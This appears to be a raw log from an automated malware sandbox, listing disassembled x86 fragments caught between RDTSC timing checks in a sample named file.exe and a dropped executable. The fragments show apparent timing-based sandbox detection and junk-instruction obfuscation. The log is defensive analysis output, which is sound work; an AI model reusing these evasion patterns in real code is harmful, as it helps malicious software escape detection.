Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A09C4 second address: 51A09D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and ecx, 03h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A09D5 second address: 51A09D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A09D9 second address: 51A09DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A09DF second address: 51A0A07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9BD0B1306Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rep movsb 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F9BD0B13075h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0A07 second address: 51A0A0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0A0D second address: 51A0A11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0A11 second address: 51A0A35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F9BD074F0D1h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0A35 second address: 51A0A39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0A39 second address: 51A0A3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0A3F second address: 51A0AA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop esi 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, ebx 0x0000000a jmp 00007F9BD0B1306Bh 0x0000000f mov ecx, dword ptr [ebp-10h] 0x00000012 pushad 0x00000013 movzx ecx, bx 0x00000016 pushfd 0x00000017 jmp 00007F9BD0B13071h 0x0000001c and al, FFFFFFA6h 0x0000001f jmp 00007F9BD0B13071h 0x00000024 popfd 0x00000025 popad 0x00000026 mov dword ptr fs:[00000000h], ecx 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F9BD0B13078h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0AA6 second address: 51A0AB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9BD074F0CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0AB5 second address: 51A0AD9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9BD0B13079h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0AD9 second address: 51A0ADD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0ADD second address: 51A0AE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0AE3 second address: 51A0AF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0AF4 second address: 51A0B09 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9BD0B13071h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0B09 second address: 51A0B12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, E0B2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0B12 second address: 51A0B2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9BD0B13071h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0B2F second address: 51A0B35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0B35 second address: 51A068A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9BD0B1306Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a jmp 00007F9BD0B13070h 0x0000000f leave 0x00000010 jmp 00007F9BD0B13070h 0x00000015 retn 0008h 0x00000018 cmp dword ptr [ebp-2Ch], 10h 0x0000001c mov eax, dword ptr [ebp-40h] 0x0000001f jnc 00007F9BD0B13065h 0x00000021 push eax 0x00000022 lea edx, dword ptr [ebp-00000590h] 0x00000028 push edx 0x00000029 call esi 0x0000002b push 00000008h 0x0000002d pushad 0x0000002e mov dx, si 0x00000031 pushfd 0x00000032 jmp 00007F9BD0B1306Ah 0x00000037 adc cl, 00000068h 0x0000003a jmp 00007F9BD0B1306Bh 0x0000003f popfd 0x00000040 popad 0x00000041 push 59E1FD91h 0x00000046 pushad 0x00000047 pushad 0x00000048 jmp 00007F9BD0B1306Bh 0x0000004d pushfd 0x0000004e jmp 00007F9BD0B13078h 0x00000053 xor cl, FFFFFFF8h 0x00000056 jmp 00007F9BD0B1306Bh 0x0000005b popfd 0x0000005c popad 0x0000005d mov si, C62Fh 0x00000061 popad 0x00000062 xor dword ptr [esp], 2C78E1B9h 0x00000069 push eax 0x0000006a push edx 0x0000006b pushad 0x0000006c mov edx, 73F2A372h 0x00000071 mov ecx, ebx 0x00000073 popad 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0C0A second address: 51A0C1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9BD074F0CEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0C1C second address: 51A0C5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9BD0B1306Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F9BD0B13076h 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F9BD0B13077h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0C5F second address: 51A0C65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F6A3B8 second address: F6A3C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F9BD0B13066h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F6A3C4 second address: F6A3C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F6A3C9 second address: F6A3E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 jmp 00007F9BD0B1306Bh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F6A3E1 second address: F6A3FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9BD074F0D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F6A3FF second address: F6A405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F6A405 second address: F6A41D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jmp 00007F9BD074F0CBh 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F6A41D second address: F6A427 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F9BD0B13066h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F6A557 second address: F6A55D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F6A838 second address: F6A83E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F6CF61 second address: DEEBD8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9BD074F0D9h 0x0000000b popad 0x0000000c add dword ptr [esp], 323F88FDh 0x00000013 mov edx, ebx 0x00000015 mov esi, eax 0x00000017 push dword ptr [ebp+122D06E9h] 0x0000001d call 00007F9BD074F0CDh 0x00000022 mov edi, dword ptr [ebp+122D3A71h] 0x00000028 pop edi 0x00000029 call dword ptr [ebp+122D2567h] 0x0000002f pushad 0x00000030 pushad 0x00000031 mov dword ptr [ebp+122D21CCh], esi 0x00000037 mov dword ptr [ebp+122D1E8Fh], eax 0x0000003d popad 0x0000003e xor eax, eax 0x00000040 clc 0x00000041 mov edx, dword ptr [esp+28h] 0x00000045 jmp 00007F9BD074F0D6h 0x0000004a jmp 00007F9BD074F0CAh 0x0000004f mov dword ptr [ebp+122D3939h], eax 0x00000055 jmp 00007F9BD074F0CCh 0x0000005a mov esi, 0000003Ch 0x0000005f jp 00007F9BD074F0D2h 0x00000065 add esi, dword ptr [esp+24h] 0x00000069 jno 00007F9BD074F0DBh 0x0000006f lodsw 0x00000071 jc 00007F9BD074F0CCh 0x00000077 mov dword ptr [ebp+122D21CCh], edi 0x0000007d add eax, dword ptr [esp+24h] 0x00000081 jmp 00007F9BD074F0D0h 0x00000086 cld 0x00000087 mov ebx, dword ptr [esp+24h] 0x0000008b pushad 0x0000008c mov cx, 4D6Fh 0x00000090 movzx ecx, dx 0x00000093 popad 0x00000094 push eax 0x00000095 pushad 0x00000096 pushad 0x00000097 push eax 0x00000098 push edx 0x00000099 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F6CFD6 second address: F6CFDC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F6CFDC second address: F6CFE1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F6CFE1 second address: F6D044 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F9BD0B1306Bh 0x0000000e jg 00007F9BD0B1306Ch 0x00000014 popad 0x00000015 nop 0x00000016 movzx esi, di 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push edi 0x0000001e call 00007F9BD0B13068h 0x00000023 pop edi 0x00000024 mov dword ptr [esp+04h], edi 0x00000028 add dword ptr [esp+04h], 00000014h 0x00000030 inc edi 0x00000031 push edi 0x00000032 ret 0x00000033 pop edi 0x00000034 ret 0x00000035 mov dword ptr [ebp+122D2172h], edx 0x0000003b push 57FAD979h 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F9BD0B13071h 0x00000049 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F6D044 second address: F6D04A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F6D04A second address: F6D054 instructions: 0x00000000 rdtsc 0x00000002 js 00007F9BD0B1306Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F6D054 second address: F6D0BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xor dword ptr [esp], 57FAD9F9h 0x0000000d mov dx, si 0x00000010 push 00000003h 0x00000012 cld 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push eax 0x00000018 call 00007F9BD074F0C8h 0x0000001d pop eax 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 add dword ptr [esp+04h], 0000001Ah 0x0000002a inc eax 0x0000002b push eax 0x0000002c ret 0x0000002d pop eax 0x0000002e ret 0x0000002f mov dword ptr [ebp+122D25B2h], eax 0x00000035 push 00000003h 0x00000037 call 00007F9BD074F0D4h 0x0000003c mov esi, 6DD94F3Ah 0x00000041 pop edi 0x00000042 push 4B25CC00h 0x00000047 js 00007F9BD074F0E2h 0x0000004d push eax 0x0000004e push edx 0x0000004f push edx 0x00000050 pop edx 0x00000051 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F6D17B second address: F6D1CF instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9BD0B13068h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b jmp 00007F9BD0B1306Bh 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007F9BD0B13068h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 0000001Ah 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c jp 00007F9BD0B1306Eh 0x00000032 jnp 00007F9BD0B13068h 0x00000038 push CF6F95F0h 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F6D337 second address: F6D3DB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xor dword ptr [esp], 171801F4h 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F9BD074F0C8h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 0000001Ah 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 push 00000003h 0x0000002a jmp 00007F9BD074F0D8h 0x0000002f push 00000000h 0x00000031 mov dword ptr [ebp+122D1D41h], esi 0x00000037 push 00000003h 0x00000039 mov esi, dword ptr [ebp+122D2914h] 0x0000003f push C5E43267h 0x00000044 jmp 00007F9BD074F0D5h 0x00000049 xor dword ptr [esp], 05E43267h 0x00000050 or dword ptr [ebp+122D23F6h], edi 0x00000056 lea ebx, dword ptr [ebp+12451E7Dh] 0x0000005c xor si, 72E5h 0x00000061 xchg eax, ebx 0x00000062 jnc 00007F9BD074F0CEh 0x00000068 push eax 0x00000069 push eax 0x0000006a push edx 0x0000006b pushad 0x0000006c pushad 0x0000006d popad 0x0000006e push edi 0x0000006f pop edi 0x00000070 popad 0x00000071 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F6D3DB second address: F6D3E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F8E37D second address: F8E383 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F8E383 second address: F8E38C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F8E38C second address: F8E396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F9BD074F0C6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F53191 second address: F5319A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F5319A second address: F531E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007F9BD074F0D8h 0x0000000a jmp 00007F9BD074F0D9h 0x0000000f popad 0x00000010 pushad 0x00000011 jl 00007F9BD074F0C6h 0x00000017 push esi 0x00000018 pop esi 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e jo 00007F9BD074F0CEh 0x00000024 push ebx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F8C3D2 second address: F8C3D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F8C3D6 second address: F8C3DC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F8C3DC second address: F8C3F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 jmp 00007F9BD0B13070h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F8C55D second address: F8C56B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F9BD074F0C6h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F8C56B second address: F8C571 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F8C571 second address: F8C592 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F9BD074F0D8h 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F8C592 second address: F8C596 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F8C820 second address: F8C826 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F8CAA3 second address: F8CAB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F9BD0B13066h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F8CC11 second address: F8CC1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007F9BD074F0C6h 0x0000000c rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F8CC1D second address: F8CC23 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F8CC23 second address: F8CC46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9BD074F0D0h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jbe 00007F9BD074F0D0h 0x00000013 push ecx 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F8D014 second address: F8D018 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F8D018 second address: F8D01C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F8D188 second address: F8D1AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 push esi 0x0000000a jmp 00007F9BD0B13072h 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007F9BD0B13066h 0x00000018 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F8D33D second address: F8D341 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F8D341 second address: F8D347 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F8D347 second address: F8D350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F83841 second address: F83846 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F83846 second address: F8385A instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9BD074F0CAh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F5D504 second address: F5D509 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F5D509 second address: F5D512 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F5D512 second address: F5D518 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F8D4B1 second address: F8D4BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F8D4BD second address: F8D4C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F8DBE2 second address: F8DBE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F8DD46 second address: F8DD50 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9BD0B13066h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F8E1AD second address: F8E1CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F9BD074F0D7h 0x0000000b rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F9213C second address: F9214B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007F9BD0B13066h 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\DocumentsBAAFIJKKEH.exe	RDTSC instruction interceptor: First address: F95AD1 second address: F95AD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
